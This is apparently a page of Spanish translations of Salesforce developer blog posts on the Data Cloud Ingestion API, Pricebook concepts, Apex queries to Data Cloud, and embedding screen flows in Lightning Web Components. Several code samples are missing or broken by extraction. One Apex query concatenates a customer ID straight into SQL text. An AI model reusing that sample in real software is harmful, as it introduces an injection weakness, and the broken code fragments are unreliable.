Salesforce Data Cloud ofrece varios conectores predefinidos para la importación de datos. Estos le permiten conectar otra organización de Salesforce, una instancia de Marketing Cloud, almacenamientos de datos como Amazon S3 o cualquier otra fuente admitida por MuleSoft Salesforce Data Cloud Connector . Para conectarse a un sistema de terceros, puede utilizar la API de ingesta .

La API de ingesta es una interfaz RESTful que facilita la carga de datos mediante programación en Data Cloud. Admite patrones de interacción masiva y de transmisión. El patrón de transmisión usa JSON como su formato, cargando datos en micro lotes a través de la API REST. El patrón masivo, por otro lado, emplea el formato CSV y carga datos usando trabajos.

En esta publicación de blog, analizaremos cómo configurar el conector de la API de ingesta y comenzar a cargar datos mediante programación utilizando los patrones Streaming y Bulk.

Cuándo usar la ingestión Streaming vs Bulk

Ingestión de transmisión Ingestión a granel
Al actualizar pequeños microlotes de registros casi en tiempo real Al mover grandes volúmenes de datos en un programa diario, semanal o mensual
Cuando se utilizan sistemas de origen de datos que se basan en arquitecturas de transmisión modernas Al usar sistemas heredados, donde solo puede exportar datos durante las horas de menor actividad
Al crear eventos de captura de datos modificados Al usar una nueva organización de Data Cloud que desea rellenar con 30, 60 o más de 90 días de datos
Al consumir datos de webhooks

Para configurar la API de ingesta, deberá seguir cuatro pasos de requisitos previos:

  • Crear un conector de API de ingesta
  • Crear e implementar un flujo de datos
  • Crear una aplicación conectada
  • Solicitar un token de acceso a la nube de datos

Veamos el proceso de creación y configuración de un conector de ingesta para comenzar a cargar datos en Data Cloud.

Creación de un conector de API de ingesta

Supongamos que tiene acceso a Data Cloud. Para conectar una nueva fuente de API de ingesta mediante el conector de API de ingesta, vaya a Configuración de nube de datos y seleccione API de ingesta .

Aquí encontrará todos los conectores disponibles en su organización. Para crear uno nuevo, haga clic en Conectar y proporcione un nombre. Para nuestra aplicación de muestra, trabajaremos con una empresa de energía solar ficticia. Estamos interesados en recibir eventos de métricas relacionadas con el rendimiento energético de sus paneles solares.

Una vez que se haya creado el conector, necesitaremos decirle a Data Cloud qué tipo de datos estamos esperando. Para esto, necesitaremos cargar un archivo de esquema utilizando la especificación OpenAPI. Este archivo de esquema tiene requisitos específicos, así que asegúrese de consultar la documentación para obtener más información.

A continuación se muestra un ejemplo del archivo de esquema que cargaremos, que representa un solar_panel_event . Los campos clave a tener en cuenta incluyen event_id , que será único para cada evento y luego se asignará en Data Cloud como clave principal. Otro es customer_id , que nos será útil para mapear el evento con un cliente de nuestra organización. Finalmente, date_time representa la hora del evento.

panel_solar_event.yaml

Una vez que carguemos el esquema, podremos obtener una vista previa de sus campos y tipos de datos, y luego guardarlo en nuestro conector.

Ahora que nuestro conector tiene un esquema, podemos decir que está creado. Sin embargo, aún no está listo para comenzar a recibir datos. Necesitamos crear un flujo de datos para este propósito.

Nota: Dado que los esquemas pueden evolucionar con el tiempo, también puede usar la interfaz del conector de la API de ingesta para actualizar el esquema y agregar nuevos campos a su objeto de datos según sea necesario.

Creación e implementación de un flujo de datos

Ya tenemos listo nuestro conector API de ingesta. Ahora es el momento de establecer una conexión para comenzar a importar datos. Para eso, necesitamos crear un flujo de datos . Una vez que el flujo de datos está activo, podemos comenzar a ingerir datos en Data Cloud y almacenarlos como un objeto de Data Lake.

Para crear un nuevo flujo de datos, vaya a su pestaña en la aplicación Data Cloud, haga clic en Nuevo , seleccione Ingestion API y luego haga clic en Siguiente .

Nota: La opción API de ingesta está deshabilitada si no tiene ninguna fuente de ingesta conectada.

A continuación, verá los diferentes objetos que están asociados con su esquema. En nuestro caso, seleccione el objeto solar_panel_event y haga clic en Siguiente .

Al crear un flujo de datos, deberá seleccionar una categoría o tipo de datos en ese flujo de datos. Hay tres categorías: Compromiso , Perfil y Otro .

Compromiso Un conjunto de datos que representa un compromiso basado en series de tiempo, como un evento, interacción con el cliente, interacción web, etc.

Cuando se selecciona, el menú desplegable Campo de hora del evento aparece en la interfaz de usuario.

Perfil Un conjunto de datos que representa:

– Una lista de consumidores con identificadores, como identificaciones de consumidores, direcciones de correo electrónico o números de teléfono

– Una lista de empresas o cuentas con ID de cuenta

– Una lista de empleados o cualquier otra población por la que desee segmentar o utilizar como población inicial del segmento

Otro Un conjunto de datos que no es un compromiso o un perfil, como información de productos o tiendas.

Para nuestro ejemplo, dado que estamos planeando recibir eventos, seleccionaremos Compromiso . Mapearemos el event_id como la clave principal y la date_time como el campo de hora del evento.

Ahora que nuestros datos están configurados, es hora de implementarlos. Después de revisar los flujos de datos que se van a crear, hagamos clic en Implementar para activarlos.

Ahora, echemos un vistazo a la página de detalles del flujo de datos. Aquí podemos ver el objeto Data Lake que se ha creado en Data Cloud. Puede identificar un objeto de Data Lake por su sufijo __dll . Desde esta misma interfaz, puede comenzar a asignar sus datos a los objetos de su organización para crear objetos de modelo de datos (parte del proceso de armonización de Data Cloud). Sin embargo, no cubriremos ese tema en esta publicación de blog, pero tenemos un excelente video con Danielle Larregui que le muestra cómo hacerlo.

Nuestro conector API de ingesta está listo para comenzar a recibir datos de sistemas de terceros. Para confirmar, regresemos a la interfaz de configuración de la API de ingesta, donde puede ver que el estado del conector es En uso .

Creación de una aplicación conectada

La API de ingesta admite todos los flujos de OAuth 2.0 admitidos por otras API REST de Salesforce. Para cargar datos mediante la API de ingesta, su aplicación conectada requiere los siguientes ámbitos:

Ámbitos de OAuth requeridos

cdp_ingest_api Acceda y administre sus datos de API de ingesta de nube de datos
API Accede y administra tus datos
refresco_token, acceso_sin conexión Realizar solicitudes en su nombre en cualquier momento

Además, nuestra aplicación conectada requerirá un certificado digital. Para crear uno, puede ejecutar el siguiente comando usando el comando openssl :

Este comando creará dos archivos, salesforce.key , que es la clave privada, y salesforce.crt , que es la clave pública.

Nota : si no tiene instalado el comando openssl , puede instalarlo desde el sitio web de OpenSSL .

Para saber cómo crear una aplicación conectada, consulte la documentación oficial.

Solicitud de un token de acceso a la nube de datos

Para este ejemplo, usaremos el flujo de soporte JWT de OAuth 2.0 . Primero, necesitaremos crear un JWT (JSON Web Token) para solicitar un token de acceso.

Para crear un JWT, configurará el encabezado para usar el algoritmo RSA256 .

Encabezado JWT

Luego, configure las siguientes notificaciones, teniendo en cuenta algunas notificaciones importantes:

  • iss: la clave de consumidor de OAuth/ID de cliente de su aplicación conectada
  • sub: el nombre de usuario de su organización de Data Cloud
  • exp: el tiempo de vencimiento del token, expresado como una marca de tiempo de época

reclamos JWT

Nota : La época de Unix (o la hora de Unix o la hora POSIX o la marca de tiempo de Unix) es la cantidad de segundos que han transcurrido desde el 1 de enero de 1970 (medianoche UTC/GMT).

A continuación, deberá utilizar el algoritmo JWT para obtener el token completo y verificado.

Pero seamos honestos, no queremos crear un JWT manualmente. Para esto, utilizaremos el sitio web JWT.io para simplificar el proceso. Asegúrese de que el mensaje Firma verificada aparezca a continuación, lo que indica que nuestro JWT es válido.

O puede crearlo programáticamente usando el lenguaje de programación de su elección. Más adelante en este artículo, compartiré un práctico script de Node.js para generar el token de acceso a la nube de datos.

Antes de que podamos autenticarnos usando el JWT que generamos, debemos aprobar este consumidor. Puede hacerlo abriendo la siguiente URL en su navegador.

<dx-code-block title language code-block="https://login.salesforce.com/services/oauth2/authorize?response_type=token&client_id=&redirect_uri=»>

Y luego, inicie sesión y permita el acceso:

Ahora que hemos aprobado nuestro JWT, necesitamos autenticarnos. Este es un proceso de dos pasos. Primero, necesitamos obtener un token de acceso usando el JWT. Para hacer esto, realicemos una solicitud POST HTTP con la siguiente información.

<dx-code-block title language code-block="POST https://login.salesforce.com/services/oauth2/token
Content-Type : x-www-form-urlencoded
grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer
&assertion=»>

Nota: asegúrese de reemplazar <JWT> con el token que creamos anteriormente.

Esta solicitud nos dará un token de acceso central y la URL de la instancia de Data Cloud, utilizando nuestra aplicación conectada. Como se muestra en el alcance , se nos otorgan los alcances cdp_ingest_api y api .

A continuación, debemos cambiar el token de acceso principal por un token de nube de datos. Para hacer eso, realicemos la siguiente solicitud POST.

<dx-code-block title language code-block="POST /services/a360/token Content-Type : x-www-form-urlencoded grant_type=urn:salesforce:grant-type:external:cdp &subject_token= &subject_token_type=urn:ietf:params:oauth:token-type:access_token»>

Ahora, estamos autenticados. El token de acceso a la nube de datos resultante es lo que usaremos para realizar solicitudes a la API de ingesta.

Para simplificar el proceso, he creado un script Node.js. Crea el JWT y realiza la autenticación en dos pasos. Para usarlo, necesitará la clave privada que creó anteriormente, así como un archivo de configuración similar al siguiente.

config.js

Además, instale la dependencia jsonwebtoken desde npm ejecutando:

credenciales.js

console.log(auth)) .catch((err) => console.error(err)); «>

El método generateAccessToken devolverá el objeto de autenticación de Data Cloud, incluido el access_token y la instance_url necesarios para comenzar a ingerir datos en Data Cloud.

Ingesta de datos

Tenemos toda la información necesaria para comenzar a ingerir datos en la nube de datos. Esto se puede lograr utilizando los patrones Streaming o Bulk.

Transmisión

Para comenzar a transmitir datos en el conector de Ingestión de nube de datos, primero obtenga el nombre del conector y el nombre del objeto de la configuración del conector de la API de Ingestión. Para hacer esto, puede realizar una solicitud POST como la siguiente.

<dx-code-block title language code-block="POST https:///api/v1/ingest/sources/Solar_Panel_Events/solar_panel_event
Authorization: Bearer
Content-Type: application/json
{ "data": [ {"event_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479","customer_id": "003R00000123456789","battery": 75.2,"dc_current": 9.8,"dc_voltage": 35.6,"mpp_energy": 120.5,"ac_voltage": 220.1,"ac_current": 5.3,"date_time": "2023-07-07T10:15:30.05Z"} ] }»>

Nota : asegúrese de reemplazar <token de acceso a la nube de datos> y <url de instancia> con los valores respectivos que obtuvo del proceso de autenticación.

Si todo va bien, recibirás la siguiente respuesta:

Esto indica que nuestros datos han sido aceptados con éxito.

Nota : también puede validar los datos con el esquema antes de enviarlos agregando /actions/test al punto final de la API.

A granel

La ingestión masiva implica varios pasos, lo que agrega un nivel de complejidad al proceso:

  • Crear un trabajo: este paso implica crear un trabajo para especificar el tipo de objeto de los datos que se procesan y la operación que se realizará, que puede ser upsert o delete.
  • Cargar los datos en CSV: Después de crear el trabajo, el siguiente paso es cargar los datos en formato CSV. El archivo CSV debe contener los datos que se procesarán, con cada fila representando un registro y las columnas que contienen los valores de campo.
  • Indicar la preparación de los datos: una vez que se cargan los datos, deberá indicar que los datos están listos para ser procesados.
  • Cerrar o cancelar el trabajo: después de procesar los datos, puede cerrar el trabajo para marcarlo como completado o cancelar el trabajo si es necesario.

Para obtener más información sobre cómo usar los puntos de conexión masivos, puede consultar la documentación oficial .

Puede consultar los datos entrantes utilizando el Explorador de datos en Data Cloud. Allí, seleccionará el objeto Data Lake correspondiente al conector de ingesta que creó anteriormente.

Si desea probarlo usted mismo, siempre puede utilizar nuestra colección Postman de desarrolladores de Salesforce, que incluye las API de Salesforce Data Cloud .

Conclusión

Ahora, está listo para comenzar a cargar datos mediante programación en Data Cloud mediante la API de ingesta. Siguiendo los pasos anteriores, puede conectarse sin problemas a varias fuentes de datos e importar datos en tiempo real o en masa, y comenzar a aprovechar el poder y la magia de Salesforce Data Cloud.

Además, si prefiere aprender de un video, mi colega Aditya ha creado un video útil que explica lo que hemos cubierto en esta publicación de blog . Asegúrese de ver también los otros excelentes videos de la serie Data Cloud Decoded .

Recursos

Sobre los autores

Julián Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educación y el intercambio de conocimientos y ha estado involucrado en la organización de comunidades tecnológicas y de desarrolladores desde 2001.

Sígalo @julianduque en Threads, @julian_duque en Twitter, @julianduque.co en Bluesky social o LinkedIn .

Aditya Naag Topalli es una defensora de desarrolladores líder certificada 14 veces en Salesforce. Capacita e inspira a los desarrolladores dentro y fuera del ecosistema de Salesforce a través de sus videos, seminarios web, publicaciones de blog y contribuciones de código abierto, y también habla con frecuencia en conferencias y eventos en todo el mundo. Sígalo en Twitter o LinkedIn y vea sus contribuciones en GitHub .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Aprenda Salesforce Like I Am 10 Producto, libro de precios, entrada de libro de precios, activo

Aprenda Salesforce Like I Am 10 Producto, libro de precios, entrada de libro de precios, activo

Un rectángulo amarillo y azul con texto negro Descripción generada automáticamente

¡Bienvenidos a la heladería Emma's Flavourland, un lugar de pura magia deliciosa del helado! Imagínese entrando en un país de las maravillas de sabores y diversión, donde cada primicia es pura delicia.

Nosotros aprenderemos:

Pero todo divertido, como aprender ABC. woo-hoo!

Para realizar un seguimiento de todos sus deliciosos helados, Emma utiliza Salesforce. Puedes pensar en él como un libro mágico que la ayuda a organizar sus sabores de la manera más sorprendente. Con Salesforce, anota los nombres y las descripciones de los tipos, e incluso agrega imágenes coloridas a un objeto de Salesforce. Piense en ello como una tabla llamada 'Producto'.

Una captura de pantalla de una computadora Descripción generada automáticamente

Libro de precios

Para administrar sus estrategias de precios, utilizó la función "Libros de precios" de Salesforce, que le permitió crear diferentes tipos de listas de precios.

En su “Libro de precios estándar”, Emma enumeró los precios regulares de sus sabores de helado. Estos fueron los precios que la mayoría de los clientes pagaron cuando visitaron su tienda.

En la tabla Libro de precios, encontrará el Nombre del libro de precios, como el Libro de precios estándar y el Libro de precios especial para niños y la Descripción del Libro de precios.

Emma también quería que su helado fuera más asequible y emocionante para los niños. Entonces, creó un libro de precios especiales llamado "Libro de precios especiales para niños". En este libro de precios, agregó precios con descuento exclusivamente para niños.

Un cuadro rectangular amarillo y azul con líneas blancas Descripción generada automáticamente

Una captura de pantalla de una computadora Descripción generada automáticamente

Tenga en cuenta que Pricebook en sí no tiene los precios indicados para el helado, para esto tenemos Price Book Entry.

Entrada de la lista de precios

Para conectar los sabores de helado, es decir, los productos con sus respectivos libros de precios, es decir, el libro de precios estándar y el libro de precios especial para niños, Emma crea entradas en el libro de precios. Puede pensar que PriceBook Entry es el amigo común que conecta Product y Pricebook entre sí.

Aquí el Producto es Súper Fresa y está conectado a PriceBook Estándar y Especial para Niños con la ayuda de PriceBook Entry.

Personajes de dibujos tomados de la mano Descripción generada automáticamente

Venta basada en productos

En la heladería Flavourland de Emma, ofrece sabores de helado individuales y paquetes de helados especiales para sus clientes. Esto se llama Venta basada en productos.

Un póster de heladería Descripción generada automáticamente

Venta basada en servicios

A medida que la marca de helados de Emma se expande, ella presenta el "Catering de helados" como un servicio exclusivo. La belleza de este servicio es que no tiene que preocuparse por la logística. El equipo de Emma se encarga de instalar, servir y limpiar después. Todo lo que necesitas hacer es sentarte y disfrutar de la celebración.

Caricatura de una persona sosteniendo un cono de helado Descripción generada automáticamente

Activo

Un producto, en este caso, se refiere a los deliciosos sabores de los helados y un Activo es la Heladería y el Carrito de Helados que ayuda a Emma a vender su Helado sin problemas.

Una tienda rosa con un letrero Descripción generada automáticamente

Yay… Aprendemos producto, libro de precios, entrada de libro de precios, venta basada en productos, venta basada en servicios y activos de la manera más dulce posible.

Un grupo de niños bailando Descripción generada automáticamente

Si te gusta el contenido, suscríbete a mi canal de Youtube sfdcamplified para obtener más temas como este.

Aprenda Salesforce como si tuviera 10 años: producto, libro de precios, entrada del libro de precios, activo

50% Me gusta VS
50% No me gusta

Seguir leyendo

Liberando el poder de Apex en Salesforce Data Cloud — Parte 1 ☁️

Liberando el poder de Apex en Salesforce Data Cloud — Parte 1 ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Libere el poder de Apex en Salesforce Data Cloud — Parte 1 | Blog de desarrolladores de Salesforce

Trailblazer.me estará fuera de línea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pacífico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podrá iniciar sesión en ninguna aplicación relacionada, incluidas Ayuda y capacitación, AppExchange, Trailhead y Trailblazer Community, y más.

Salesforce Data Cloud permite a los desarrolladores aprovechar el poder de los grandes datos para las empresas. Al utilizar Data Cloud, los clientes pueden consolidar los datos de clientes de múltiples sistemas en una única instancia de Salesforce, creando una vista unificada de los datos en toda la empresa. Estos datos se pueden utilizar para análisis, aprendizaje automático y acciones automatizadas. En este primer blog de nuestra serie de dos partes, exploraremos diferentes utilidades de Apex para consultar datos en Data Cloud y brindaremos orientación sobre cómo utilizarlas de manera efectiva.

Apex ofrece una variedad de utilidades para Data Cloud. Por ejemplo, permite que los desarrolladores construyan con Lightning Web Components para personalizar las experiencias de usuario estándar de Data Cloud, o que los ISV construyan su propio código para automatizar operaciones específicas de Data Cloud, como la resolución de identidades, la creación y ejecución de conocimientos calculados de Data Cloud o la segmentación.

Objetos de Salesforce Data Cloud frente a objetos estándar/personalizados

Antes de analizar cómo consultar datos de Data Cloud, comprendamos un poco acerca de los objetos de Salesforce Data Cloud y cómo difieren con respecto a los objetos estándar/personalizados de Salesforce Platform.

Salesforce Data Cloud tiene un modelo de datos canónico que incluye objetos de lago de datos (DLO) y objetos de modelo de datos (DMO). Puede leer acerca de cómo estos objetos se asignan entre sí y sus propósitos en la documentación de ayuda.

Los objetos de Data Cloud pueden ingerir y almacenar volúmenes de datos mucho más grandes (en la magnitud de miles de millones de registros) en comparación con los objetos estándar y personalizados regulares en la Plataforma de Salesforce. Los objetos estándar/personalizados están diseñados para casos de uso transaccional y no son adecuados para almacenar y procesar big data. Por otro lado, los objetos de Data Cloud agregan capacidades similares a las de un lago de datos .

Otra distinción clave es que los objetos de Data Cloud no admiten disparadores Synchronous Apex. Sin embargo, aún puede lograr la automatización de procesos suscribiéndose a Change Data Capture (CDC) y utilizando Flows o Apex. Lo que es común entre los objetos de la nube de datos y los objetos de la plataforma es que están construidos sobre la misma base impulsada por metadatos, lo que hace posible el uso de características de la plataforma, como Salesforce Flow, Apex y Platform Events.

Cómo consultar datos de Data Cloud en Apex

Antes de profundizar en algún código, exploremos un ejemplo de caso de uso de una aplicación de nube de datos.

Ejemplo de caso de uso y supuestos

Para nuestros ejemplos de código en esta publicación de blog, supongamos que estamos trabajando para una empresa ficticia llamada Solar Circles que captura datos de todos sus paneles solares instalados en Data Cloud. Cada mes, se generan decenas de millones de puntos de datos a partir de estos paneles. Al tener estos datos en Data Cloud, Solar Circles obtiene la capacidad de realizar análisis, utilizar técnicas de aprendizaje automático y obtener información procesable de los datos.

El código de Apex en esta publicación asume una condición importante: la nube de datos está habilitada y el código de Apex se ejecuta en la organización de la nube de datos y no en las organizaciones de Salesforce que están conectadas a la organización de la nube de datos.

Consultar datos de Data Cloud usando SQL

Para acceder a datos de objetos de Data Cloud (DLO o DMO), utilice la clase CdpQuery (ver documentos ) en Apex. Esta clase está disponible en el espacio de nombres ConnectApi (ver documentos ).

A continuación se muestra un fragmento de código de ejemplo que muestra cómo acceder a los datos de un objeto de nube de datos mediante una instrucción SQL.

<dx-code-block title language="apex" code-block="@AuraEnabled(cacheable=true)
public static void getSolarPanelData(String customerId) { List<Map> returnData = new List<Map>(); // Create input for query operation ConnectApi.CdpQueryInput queryInput = new ConnectApi.CdpQueryInput(); queryInput.sql = ‘SELECT * ‘ + ‘FROM Solar_Panel_Events_solar_panel_F4C03__dlm ‘ + ‘WHERE CustomerId__c = » + customerId + » ‘ + ‘ORDER BY date_time__c DESC LIMIT 50’; // Execute SQL ConnectApi.CdpQueryOutputV2 response = ConnectApi.CdpQuery.queryAnsiSqlV2( queryInput ); Map responseMetadata = new Map(); responseMetadata = response.metadata; // Parse response System.debug( ‘Number of rows in the result data set ‘ + response.rowCount ); System.debug(‘Next batch ID ‘ + response.nextBatchId); System.debug(‘Query Metadata’ + responseMetadata); for (ConnectApi.CdpQueryV2Row resultRow : response.data) { for (Object result : resultRow.rowData) { system.debug(result); } } «>

En el ejemplo anterior, estamos recuperando datos para un componente LWC personalizado en una página Lightning de caso de objeto estándar para un agente de servicio. El componente muestra datos de dispositivos recientes provenientes de los paneles instalados en el sitio del cliente.

Aspectos destacados del código

  • El método toma un parámetro customerId , lo que indica que recupera los datos del panel solar para un cliente específico
  • Se crea una instancia de ConnectApi.CdpQueryInput llamada queryInput para definir la operación de consulta.
  • La propiedad queryInput.sql se establece con una consulta SQL que selecciona todos los campos del objeto de datos Solar_Panel_Events_solar_panel_F4C03__dlm , filtrado por CustomerId__c
  • La consulta se ejecuta mediante ConnectApi.CdpQuery.queryAnsiSqlV2(queryInput) , que devuelve un objeto ConnectApi.CdpQueryOutputV2 denominado response
  • El response.metadata se asigna a responseMetadata , que almacena los metadatos de la respuesta de la consulta.

Consideraciones importantes

  • Apex tiene un límite de CPU de 10 segundos para transacciones sincrónicas. Data Cloud puede contener miles de millones de filas de datos. Al recuperar datos en Apex desde Data Cloud, asegúrese de agregar suficientes filtros y proporcionar contexto (como el recordId con el que está trabajando) para limitar la cantidad de filas y evitar alcanzar el límite de CPU de 10 segundos.
  • Si está recuperando una gran cantidad de datos, use Queueable Apex para ejecutar el proceso de forma asincrónica y aproveche el límite de CPU de 60 segundos.
  • Recomendamos usar queryAnsiSqlV2 (consulte los documentos ) en lugar de queryAnsiSql para aprovechar las solicitudes posteriores y los tamaños de respuesta más grandes para casos de uso en los que necesita extraer grandes volúmenes de datos.
  • Use nextBatchAnsiSqlV2(nextBatchId) (ver documentos ) para proporcionar batchId de la respuesta anterior para recuperar el siguiente conjunto de resultados.
  • También puede usar SOQL en lugar de SQL, pero asegúrese de obtener su SOQL usando el Explorador de datos , ya que hay funciones de SOQL que pueden no ser aplicables a los objetos de Data Cloud.

Cómo buscar información de perfil

Antes de analizar cómo buscar información de perfil de Data Cloud en Apex, debemos comprender qué es un perfil unificado.

Perfil unificado y resolución de identidad

Supongamos que Solar Circles, nuestro fabricante ficticio de paneles solares, tiene datos sobre un cliente llamado Martha en varios sistemas. Cada sistema tiene información diferente sobre ella, como diferentes direcciones de correo electrónico. Estos datos únicos se denominan puntos de contacto . Los clientes como Martha están representados por múltiples registros de contacto y perfiles específicos del sistema en varios sistemas. Esto es necesario para que cada nube y producto funcione de forma independiente, pero puede crear silos de datos.

Data Cloud proporciona una función de resolución de identidad para resolver este problema. Mediante el uso de reglas de identidad , el sistema crea perfiles individuales unificados que se pueden usar para segmentación y activaciones en varios otros sistemas.

Buscar información de perfil de Data Cloud

A continuación se muestra un código Apex de utilidad de ejemplo que busca información de perfil. Tenga en cuenta que se utiliza el método queryProfileApi de la clase ConnectApi.CdpQuery .

<dx-code-block title language="apex" code-block=" @AuraEnabled public static List getProfileData( String dataModelName, String childDataModelName, String searchKey, String customerName ) { ConnectApi.CdpQueryOutput response = ConnectApi.CdpQuery.queryProfileApi( dataModelName, // Name of the data model object, for example, UnifiedIndividual__dlm customerName, // Value of the primary or secondary key field, for example, John. If unspecified, defaults to the value of the primary key field. childDataModelName, // Name of the child data model object, for example, UnifiedContactPointEmail__dlm. searchKey, // If a field other than the primary key is used, name of the key field, for example, FirstName__c null, // Comma-separated list of equality expressions within square brackets null, // Comma-separated list of child object field names that you want to include in the result 100, // Number of items to return. null, // Number of rows to skip before returning results. null // Sort order for the result set, ); return response.data; } «>

Aquí hay un fragmento de código de ejemplo que invoca el código de utilidad anterior al pasar los parámetros.

<dx-code-block title language="apex" code-block=" List response = DataCloudUtils.getProfileData( ‘UnifiedIndividual__dlm’, ‘UnifiedContactPointEmail__dlm’, ‘ssot__FirstName__c’, ‘Martha’ ); «>

El código busca la información de perfil del cliente Martha en el objeto de modelo de datos UnifiedIndividual__dlm .

Aspectos destacados del código

  • El método utiliza ConnectApi.CdpQuery.queryProfileApi() para ejecutar la consulta de datos de perfil en la nube de datos
  • Los parámetros de consulta incluyen los nombres del objeto del modelo de datos ( dataModelName ), el objeto del modelo de datos secundario ( childDataModelName ), el campo de clave de búsqueda ( searchKey ) y el nombre del cliente ( customerName )
  • Se pueden proporcionar parámetros opcionales adicionales, como expresiones de igualdad, nombres de campos de objetos secundarios, la cantidad de elementos para devolver, la cantidad de filas para omitir y el orden de clasificación para el conjunto de resultados.
  • La respuesta de la consulta se almacena en un objeto ConnectApi.CdpQueryOutput llamado response
  • El método devuelve response.data , que representa los datos recuperados de la consulta

Importante consideración

  • Vuelva a verificar los nombres de campo y objeto antes de usarlos en el código de Apex, ya que, de lo contrario, el método puede generar excepciones y errores internos del servidor.

¿Cómo consultar datos de conocimientos calculados?

Los conocimientos calculados le permiten definir y calcular métricas multidimensionales en todo su estado digital en Data Cloud. Data Cloud genera información calculada al escribir SQL , de manera declarativa usando Insights Builder o usando Apex.

Streaming vs insights calculados

Hay dos tipos de información en Data Cloud: transmisión e información calculada.

Los conocimientos calculados son funciones que pueden calcular métricas en datos históricos. Se procesan en lotes. Por ejemplo, en nuestra aplicación Solar Circles, podemos tener una visión calculada que mide la potencia total generada por los paneles agrupados por cada cliente.

La información de transmisión se genera casi en tiempo real mediante el análisis del flujo continuo de datos entrantes. Estos conocimientos permiten la activación inmediata de acciones en los sistemas posteriores. Por ejemplo, la información de transmisión se puede utilizar para identificar a los clientes cuyos paneles solares generan una potencia mínima. Al aprovechar una acción de datos en la transmisión de conocimientos, podemos crear de manera proactiva un caso para dichos clientes en Salesforce Service Cloud.

Consultar datos a partir de una perspectiva calculada

Para consultar datos de las perspectivas calculadas, use el método queryCalculatedInsights de la clase CdpQuery . A continuación se muestra un fragmento de código de ejemplo que muestra cómo consultar datos de una perspectiva calculada conocida.

Aspectos destacados del código

  • El método queryCalculatedInsights de ConnectApi.CdpQuery se usa para recuperar información calculada de Data Cloud.
  • El primer parámetro es el nombre de API de la información calculada, que debe terminar con __cio . Por ejemplo, <calculted insight api name> podría reemplazarse por totalpowergenerated__cio .
  • Los siguientes parámetros especifican dimensiones y medidas. Una dimensión representa un campo o atributo en el que se basa la información, mientras que una medida representa la métrica calculada. Proporcionar null para estos parámetros incluye todas las dimensiones y medidas disponibles.
  • Se puede especificar el orden de clasificación para el conjunto de resultados, pero en este fragmento de código, se establece en null .
  • Los parámetros opcionales adicionales incluyen filtrar el conjunto de resultados a un ámbito o tipo más específico y especificar la cantidad de elementos que se devolverán y la cantidad de filas que se omitirán antes de devolver los resultados.
  • Los datos resultantes se almacenan en un objeto ConnectApi.CdpQueryOutput denominado response .

Importante consideración

  • Asegúrese de proporcionar el nombre de API correcto para la información. Un nombre de API incorrecto da como resultado un error del sistema.

Conclusión

En esta publicación de blog, brindamos una descripción general de cómo puede aprovechar el poder de Salesforce Data Cloud y Apex para aprovechar los grandes datos para las empresas. Los ejemplos de código y los puntos destacados demuestran enfoques prácticos para acceder y consultar datos de objetos de Data Cloud.

La publicación también destaca las mejores prácticas y las limitaciones que se deben tener en cuenta al trabajar con Data Cloud y Apex, como administrar los límites de la CPU, utilizar el procesamiento asincrónico para grandes conjuntos de datos y garantizar la denominación correcta de la API para los conocimientos calculados.

En la siguiente parte de la serie, profundizaremos en las clases de Apex como CdpCalculatedInsight (consulte los documentos ), CdpIdentityResolution (consulte los documentos ) y CdpSegment (consulte los documentos ) que se pueden usar para administrar información calculada, crear reglas de resolución de identidad y segmentación en Data Cloud mediante Apex.

Referencias adicionales

Sobre el Autor

Mohith Shrivastava es promotor de desarrollo en Salesforce con una década de experiencia en la creación de productos a escala empresarial en la plataforma de Salesforce. Actualmente se está enfocando en las herramientas para desarrolladores de Salesforce, Flow, Apex y Lightning Web Components en Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes en Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a través de su Twitter @msrivastav13 .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Incrustar flujos de pantalla en el componente web Lightning

Incrustar flujos de pantalla en el componente web Lightning

Última actualización el 19 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo incrusta un flujo de pantalla dentro de un componente web Lightning?

Objetivos:

Después de leer este blog, podrá:

  • Incruste el flujo de pantalla dentro de un componente web Lightning
  • Aplicar representación condicional en el componente web Lightning
  • Use uiRecordApi para obtener el valor del campo del registro sin usar la clase de Apex
  • y mucho más

En el pasado, escribí algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Pasar datos del componente web Lightning al flujo de pantalla
  2. Uso del componente web Lightning para mostrar un banner de alerta

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Se le ha encomendado un requisito comercial para desarrollar un componente LWC con las siguientes funcionalidades:

  1. Debería mostrar un flujo de pantalla llamado 'parterFlow' cuando el tipo de cuenta es 'Socio tecnológico'.
  2. Debería presentar un flujo de pantalla llamado 'customerFlow' cuando el tipo de cuenta es 'Cliente – Directo'.
  3. El componente LWC debe diseñarse con la capacidad de incorporarse en la página de registro de rayos de la cuenta.

Enfoque de Campeón de Automatización (I-do):

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Para crear un flujo en el componente Lightning Web, establezca el atributo flowApiName del componente Lightning-Flow en el nombre de flujo que desea usar. El componente incluye botones de navegación (Atrás, Siguiente, Pausa y Finalizar) para que los usuarios naveguen dentro del flujo.

También usaremos un adaptador de cable uiRecordApi que nos permite interactuar con registros de Salesforce desde los componentes del componente web lightning sin escribir código Apex. Esta API le permite realizar operaciones como recuperar los datos de un registro o los detalles del diseño, crear, eliminar o actualizar un registro, etc. Estos son algunos de los métodos clave proporcionados por uiRecordApi :

  1. getRecord : este método le permite obtener datos de registro.
  2. getRecordCreateDefaults : este método proporciona los valores predeterminados que utiliza Salesforce al crear un nuevo registro.
